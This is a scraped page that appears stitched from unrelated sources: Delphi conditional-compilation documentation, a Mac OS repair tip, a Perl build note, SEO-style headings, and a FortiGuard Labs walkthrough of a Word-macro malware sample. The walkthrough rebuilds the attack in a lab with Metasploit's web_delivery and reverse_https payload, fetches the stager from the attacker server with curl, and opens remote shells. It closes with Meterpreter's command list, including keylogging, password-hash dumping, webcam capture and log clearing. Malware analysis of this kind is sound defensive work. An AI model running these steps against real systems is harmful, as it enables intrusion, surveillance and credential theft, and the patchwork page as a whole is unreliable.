Targeting Change Mac OS
Go Up to Delphi Compiler Directives (List) Index
- Targeting Change Mac Os Security Downloads
- Mac Os Change Folder Color
- Targeting Change Mac Os X
- Targeting Change Mac Os Version
- Mac Os Change Desktop
If there is some way to eliminate the OS as the problem before going to a technician. Run Repair Disk from the OS X Install DVD to check and possibly rectify the OS's file structure. To do this: Insert the Install Disk into the drive and then select Restart; when you hear the chime hold down C key until the apple logo appears. Until now the deployment target was hardwired to 10.3. This logic comes from RT#117433. For OS X releases from 10.3 until 10.5, no change, still using the MACOSXDEPLOYMENTTARGET=10.3 for linking. For OS X releases before 10.3, no change, still not using the MACOSXDEPLOYMENTTARGET=10.3.
Conditional compilation is based on the existence and evaluation of constants, the status of compiler switches, and the definition of conditional symbols.
- 2Using Conditional Defines for the Compiler Version
Conditional symbols work like Boolean variables: they are either defined (True) or undefined (False). Any valid conditional symbol is treated as false until it has been defined.
You can define a conditional in the following ways:
- Use the
{$DEFINE}directive to set a specified symbol to True, and the{$UNDEF}directive to set the symbol to False. - Use the
-Dswitch with the command-line compiler (this option is supported by all the Delphi compilers). - Add the symbol to the Conditional Defines field on the Project > Options > Delphi Compiler page.
The conditional directives {$IFDEF}, {$IFNDEF}, {$IF}, {$ELSEIF}, {$ELSE}, {$ENDIF}, and {$IFEND} allow you to compile or suppress code based on the status of a conditional symbol. {$IF} and {$ELSEIF} allow you to base conditional compilation on declared Delphi identifiers. {$IFOPT} compiles or suppresses code depending on whether a specified compiler switch is enabled.
For example, the following Delphi code snippet processes differently depending on whether the DEBUG conditional define is set ({$DEFINE DEBUG}):
{$IF} and {$ELSEIF}.Conditional-directive constructions can be nested up to 32 levels deep. For every {$IFxxx}, the corresponding {$ENDIF} or {$IFEND} must be found within the same source file. Conditional symbols must start with a letter, followed by any combination of letters, digits, and underscores; they can be of any length, but only the first 255 characters are significant.
Predefined Conditionals
The following standard conditional symbols are defined:
| Category | Symbol | DCC32 | DCC64 Since XE2 | DCCOSX Since XE2 | DCCOSX64 Since 10.3 Rio Release 2 | DCCIOSARM Since XE3 | DCCIOS32 Since XE3 | DCCAARM In XE5 | DCCIOSARM64 Since XE8 | DCCLINUX64 Since 10.2 Tokyo | DCCAARM64 Since 10.3 Rio Release 3 | Comments |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Compiler | DCC | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | |
| VER340 For a list of compiler versions, see Compiler Versions. | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | For Delphi Sydney, compiler version 34.0 has VER340 defined. | |
| Platform | CONSOLE | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Defined if an application is being compiled as a console application. |
| IOS | not defined | not defined | not defined | not defined | DEFINED | DEFINED | N/A | DEFINED | not defined | not defined | Defined if the target platform is iOS. *New* in XE4/iOS. | |
| IOS32 | not defined | not defined | not defined | not defined | DEFINED | DEFINED | not defined | not defined | not defined | not defined | Defined if the target platform is iOS32. Since XE8/iOSarm64. | |
| IOS64 | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | not defined | Defined if the target platform is iOS64. Since XE8/iOSarm64. | |
| NATIVECODE | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Since Delphi.Net | |
| MSWINDOWS | DEFINED | DEFINED | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | Indicates that the operating environment is Windows. Use MSWINDOWS to test for any flavor of the Windows platform instead of WIN32. | |
| WIN32 | DEFINED | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | Target platform is the native 32-bit Windows platform. | |
| WIN64 | not defined | DEFINED | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | Target platform is 64-bit Windows. *New* in XE2/x64. | |
| MACOS | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | not defined | DEFINED | not defined | not defined | Target platform is macOS. *New* in XE2/macOS. | |
| MACOS32 | not defined | not defined | DEFINED | not defined | DEFINED | DEFINED | not defined | not defined | not defined | not defined | Target platform is 32-bit macOS. *New* in XE2/macOS. | |
| MACOS64 | not defined | not defined | not defined | DEFINED | not defined | not defined | not defined | DEFINED | not defined | not defined | Target platform is 64-bit macOS. *New* in XE8/macOS. | |
| LINUX | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | Since Kylix. | |
| LINUX32 | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | Since Kylix. | |
| LINUX64 | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | New in 10.2 | |
| POSIX | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Since Kylix. | |
| POSIX32 | not defined | not defined | DEFINED | not defined | DEFINED | DEFINED | DEFINED | DEFINED | not defined | not defined | Since Kylix. | |
| POSIX64 | not defined | not defined | not defined | DEFINED | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | Since Kylix. | |
| ANDROID | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | not defined | DEFINED | Defined if the target platform is Android. *New* in XE5. | |
| ANDROID32 | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | not defined | not defined | Since XE8/iOSarm64. | |
| ANDROID64 | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | Delphi compiler for Android 64-bit platform. *New* in 10.3.3. | |
| CPU | CPU386 | DEFINED | not defined | DEFINED | DEFINED | not defined | DEFINED | not defined | not defined | note defined | not defined | Indicates that the CPU is an Intel 386 or later. |
| CPUX86 | DEFINED | not defined | DEFINED | not defined | not defined | DEFINED | not defined | not defined | not defined | not defined | CPU is an Intel 386 or later on any platform. *New* in XE2/x64. | |
| CPUX64 | not defined | DEFINED | not defined | DEFINED | not defined | not defined | not defined | not defined | DEFINED | not defined | The CPU supports the x86-64 instruction set, and is in a 64-bit environment. *New* in XE2/x64. | |
| CPU32BITS | DEFINED | not defined | DEFINED | not defined | DEFINED | DEFINED | DEFINED | not defined | not defined | not defined | The CPU is in a 32-bit environment, such as DCC32.EXE. *New* in XE8. | |
| CPU64BITS | not defined | DEFINED | not defined | DEFINED | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | The CPU is in a 64-bit environment, such as DCC64.EXE. *New* in XE8. | |
| CPUARM | not defined | not defined | not defined | not defined | DEFINED | not defined | DEFINED | DEFINED | not defined | DEFINED | Defined if the CPU is based on the ARM architecture, such as the Delphi mobile compiler for the iOS device (DCCIOSARM.EXE). *New* in XE4/iOS. | |
| CPUARM32 | not defined | not defined | not defined | not defined | DEFINED | not defined | DEFINED | not defined | not defined | not defined | The CPU is in a 32-bit ARM environment, such as DCCIOSARM.EXE. *New* in XE8. | |
| CPUARM64 | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | DEFINED | The CPU is in a 64-bit ARM environment, such as DCCIOSARM64.EXE. *New* in XE8. | |
| Availability | ||||||||||||
| ALIGN_STACK | not defined | not defined | DEFINED | not defined | not defined | DEFINED | not defined | not defined | not defined | not defined | Defined in code that may be shared with the macOS compiler and another compiler on another platform such as Linux that does not have a rigid stack alignment requirement. For more information, see Eli Boling's blog at http://blogs.embarcadero.com/eboling/2009/05/20/5607 . *New* in XE2/macOS. | |
| ASSEMBLER | DEFINED | DEFINED | DEFINED | not defined | not defined | DEFINED | not defined | not defined | not defined | not defined | Assembler syntax is accepted. | |
| AUTOREFCOUNT (*) | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED if 10.2. Not defined since 10.3. | not defined | Defined for compilers that use automatic reference counting, such as the Delphi mobile compilers. *New* in XE4/iOS. Removed in 10.4 Sydney. | |
| EXTERNALLINKER | not defined | not defined | not defined | DEFINED | DEFINED | not defined | DEFINED | DEFINED | DEFINED | DEFINED | Defined for compilers that have an external linker and the LLVM code generator; the Delphi mobile compilers have the external ld linker and use LLVM as code generator. *New* in XE4/iOS. | |
| UNICODE | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | UNICODE is defined as the default string type. | |
| CONDITIONALEXPRESSIONS | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Tests for the use of the $IF directive. | |
| ELF | not defined | not defined | not defined | not defined | not defined | not defined | not defined | not defined | DEFINED | not defined | Defined when targeting Executable and Linkable Format (ELF) files. | |
| NEXTGEN (*) | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED if 10.2. Not defined since 10.3. | not defined | Defined for compilers (such as the Delphi mobile compilers) that use 'next-generation' language features, such as 0-based strings. *New* in XE4/iOS. Removed in 10.4 Sydney. | |
| PC_MAPPED_EXCEPTIONS | not defined | not defined | DEFINED | not defined | not defined | DEFINED | not defined | not defined | not defined | not defined | Defined when compiling on a platform or for a target platform that uses address maps instead of stack frames to unwind exceptions (such as macOS). *New* in XE2. | |
| PIC | never | never | always DEFINED | always DEFINED | always DEFINED | always DEFINED | always DEFINED | always DEFINED | always DEFINED | always DEFINED | Defined for platforms that require Position-Independent Code (PIC), such as macOS. | |
| UNDERSCOREIMPORTNAME | DEFINED | not defined | DEFINED | not defined | not defined | DEFINED | not defined | not defined | not defined | not defined | Defined for compilers that add a leading underscore (for example, in names of dynamic libraries imported from Mac OS). *New* in XE4/iOS. | |
| WEAKREF | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Defined for compilers that can use weak references (the [weak] attribute). *New* in XE4/iOS. | |
| WEAKINSTREF (*) | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED if 10.2. Not defined since 10.3. | not defined | Defined when weak references are defined for instances. *New* in XE4/iOS. Removed in 10.4 Sydney. | |
| WEAKINTFREF | not defined | not defined | not defined | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | DEFINED | Defined when weak references are defined for interfaces. *New* in XE4/iOS. |
In the table column heads:
- DCC32 is the 32-bit Windows Delphi compiler.
- DCC64 is the 64-bit Windows Delphi compiler.
- DCCOSX is the 32-bit macOS Delphi compiler.
- DCCOSX64 is the 64-bit macOS Delphi compiler.
- DCCIOSARM is the Delphi compiler for 32-bit iOS Devices.
- DCCIOS32 is the Delphi compiler for iOS Simulators.
- DCCAARM.EXE is the Delphi compiler for Android devices.
- DCCIOSARM64 is the Delphi compiler for 64-bit iOS devices.
- DCCLINUX64 is the 64-bit Linux Delphi compiler.
- DCCAARM64.EXE is the Delphi compiler for 64-bit Android devices.
Using Conditional Defines for the Compiler Version
For example, to determine the version of the compiler and run-time library that were used to compile your code, you can use {$IF} with the CompilerVersion, RTLVersion and other constants:
See the table of Compiler Versions for a list of version numbers associated with various released Delphi compilers.
Predefined Constants
Constants can be more powerful than conditionals because you can use constants programmatically in Delphi code. Conditionals, on the other hand, are accepted only inside conditional compiler directives such as {$IF} and {$IFDEF}.
There are three important constants available:
- System.RTLVersion is a constant defined as the version of the run-time library. For Sydney, RTLVersion is 34.
- System.CompilerVersion is a constant defined as the version of the current Delphi compiler. For Sydney, CompilerVersion is 34.
- FMX.Types.FireMonkeyVersion is a constant defined as the version of the current FireMonkey library. For Sydney, FireMonkeyVersion is 270.
See Also
- CompilerVersion_(Delphi) Code Example
- IF directive (Delphi) and IFEND directive (Delphi)
- IFDEF directive (Delphi) and ENDIF directive (Delphi)
- Delphi Compiler page in Project Options
In the blog we posted on March 22, FortiGuard Labs introduced a new Word Macro malware sample that targets both Apple Mac OS X and Microsoft Windows. After deeper investigation of this malware sample, we can confirm that after a successful infection the post-exploitation agent Meterpreter is run on the infected Mac OS X or Windows system. Meterpreter is part of the Metasploit framework. More information about Meterpreter can be found here.
For this to work, the attacker’s server must be running Metasploit as the controller to control the infected systems. Since the attacker’s server doesn’t currently respond to any requests, we decided to set up a Metasploit to confirm our observation.
This blog provides a walk-through of the attack process with the server we set up, and shows what an attacker can do on an infected system.
Testing Environment
The testing environment consists of three virtual machines running 64-bit Windows 7, 64-bit Mac OS X, and 64-bit Kali Linux, respectively. The Windows 7 machine acts as an infected Windows system, the Mac OS X machine acts as an infected Mac OS X system, and the Kali Linux VM acts as the attacker’s server running Metasploit.
Following are the IP addresses of these virtual machines.
Windows 7: 192.168.71.127
Mac OS X: 192.168.71.128
Kali Linux: 192.168.71.129
Setting Up the Metasploit
First, we created a new script file on the Kali Linux VM with Metasploit installed containing the commands required to set Metasploit.
Figure 1 – The content of the script file
Typing “msfconsole -q -r osx_meterpreter_test” executes Metasploit in quiet mode (-q) and loads the script file (-r) provided.
Figure 2 – Running Metasploit
Once the settings are loaded, running the command show options shows the current Metasploit configuration for the session.
Our test uses two Metasploit components. The first is the web_delivery module, and the second is the payload reverse_https.
The SRVHOST and LHOST parameters are set to the Kali Linux’s IP address (192.168.71.129). This IP address acts as a listener (for the connect-back connection, listening on TCP/443 (LPORT)) as well as a server (listening on TCP/8080(SRVPORT)) to deliver the reverse_https payload.
The show options command hides certain settings that can only be viewed by the show advanced command. The only setting that is not shown is StagerVerifySSLCert, which we set to false. That prevents the validity of the SSL certificate to be verified while establishing secure communications.
Figure 3 – Showing the options set for the attack
The next step is to execute the run command, which starts the HTTPS reverse handler/server so it is ready for victims to connect. See Figure 4. A piece of Python script code is then generated for infected systems to run.
Figure 4 – Running the attack
Instead of directly executing this code on the victim’s machine, however, an HTTPS request is made to see what data the server will reply with. Typing curl -k https://192.168.71.129:8080/, we can see that a chunk of Python script code has been received.

Figure 5 – The Python script code returned to victim
If we compare the code structure between the code found in the malicious Macro and the one generated by Metasploit in the previous step, it is easy to visually identify the same elements (highlighted in yellow), but obviously the base64 data is different.
The next step is to decode the base64 data to reveal the code that will be executed on the victim’s machine. To do that, a call to the base64 tool is more than enough, and can be done inside the Metasploit prompt as well.
The command syntax is: echo “
In the malware sample, the base64 decoded data is passed to the ExecuteForOSX() function (on the left side of the table). Again, through a comparison between that code and the code generated by Metasploit, we can see that they are same, without counting the URL, which is different.
Demonstrating the attack on Mac OS X
Next, on the Mac OS X machine, we create a new file with the name “osx_meterpreter.py” that includes the code above (on the right side) generated by Metasploit. It is then executed by calling the Python interpreter with the script as a parameter.
Figure 7 – Running the Python script on the Mac OS X machine
We can now see that the script is executed without any issue. Great!
When going back to the Metasploit prompt on the Kali Linux, we can see that a meterpreter session is opened. The sessions command can be run to see the current meterpreter session. The output shows that an active session with the type “meterpreter python/osx”. It confirms that the session has been established correctly.
Figure 8 – The Meterpreter session is opened
The command sessions -i 1 is now run to start interaction with the session, so the meterpreter prompt is given. The first command we execute is the meterpreter command called sysinfo, which collects information from the remote infected system, as shown in Figure 9. For this scenario, it shows information from the compromised Mac OS X machine.
Figure 9 – Getting the sys info of the infected Mac OS X
Now, to be a bit more adventurous, the shell command is executed. This command starts a shell on the remote compromised system that can be controlled locally. A “sh-3.2” prompt appears, and from here we can execute any command that is the OS command run on the remote machine. The id command is executed showing the user’s id, which in this case is the “root” user.
Figure 10 – Getting the shell of the infected Mac OS X
It is also worth a mention that, even if the Metasploit server goes down, the Python process running on the victim’s machine stays alive and keeps trying to connect back until the server goes up. Once this happens, the victim’s machine is automatically connected and establishes a session with the server.
Demonstrating the attack on Windows 7
On the Windows 7 machine, the first thing we do is to modify the file “hosts,” as shown below, which you can find in “%SystemRoot%System32driversetc”. This file is used to map host names to IP addresses.
Figure 11 – Modifying the “hosts” file
As a result, all the request packets directed to pizza.vvlxpress.com will be sent to the Kali Linux machine (192.168.71.129). We then let the 64-bit DLL restore to run inside the powershell.exe process. It will connect to the Kali Linux running Metasploit.
When going back to the Metasploit prompt on the Kali Linux, we see that a meterpreter session has been opened. We then use the sessions command to see the current meterpreter session. The output shows that there’s an active session with the type “meterpreter x64/windows”. The sysinfo command then shows the sys info of the infected Windows system. See Figure 12.
Figure 12 – Getting the sys info of the infected Windows 7 device
After the connection is established, we next check the victim’s system information. See Figure 13. We are able to compare it with the information we got in Metasploit (Figure 12.)
Figure 13 – The info of the infected Windows
Targeting Change Mac Os Security Downloads
We then execute the shell command to take control of the infected Windows machine. Figure 14 shows the output of executing the dir command after we get the shell.
Figure 14 – Getting the shell of the infected Windows machine
From here, you can execute any command you want on the infected Windows machine.
As you probably notice, in the output of the shell command there is a line of message reading “Process 1172 created.” This means that a new cmd.exe with process id 1172 was run on the infected system, which is used to handle commands from the server.
Mac Os Change Folder Color
Figure 15 – A new “cmd.exe” process is created
Conclusion
Based on FortiGuard Labs’ analysis and testing, we can confirm the following:
- Meterpreter was used for post-exploitation by the attacker
- The web_delivery module was used by the attacker
- The reverse_https payload was used by the attacker for secure communication
This walk-through shows how this malware is able to take control of the infected system. Once the meterpreter session is established, the attacker can get the sys info of the infected system and execute commands on the infected system.
In fact, meterpreter is a very powerful tool for post-exploitation. In the Appendix, below, you can see the commands it supports. This helps you imagine how serious the consequences of such an attack can be if your system is infected by this malware.
Appendix
The commands that meterpreter supports:
Stdapi: File system Commands
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
local time Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
Targeting Change Mac Os X
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
Command Description
------- -----------

hashdump Dumps the contents of the SAM database
Targeting Change Mac Os Version
Priv: Timestomp Commands
Command Description
------- -----------
Mac Os Change Desktop
timestomp Manipulate file MACE attributes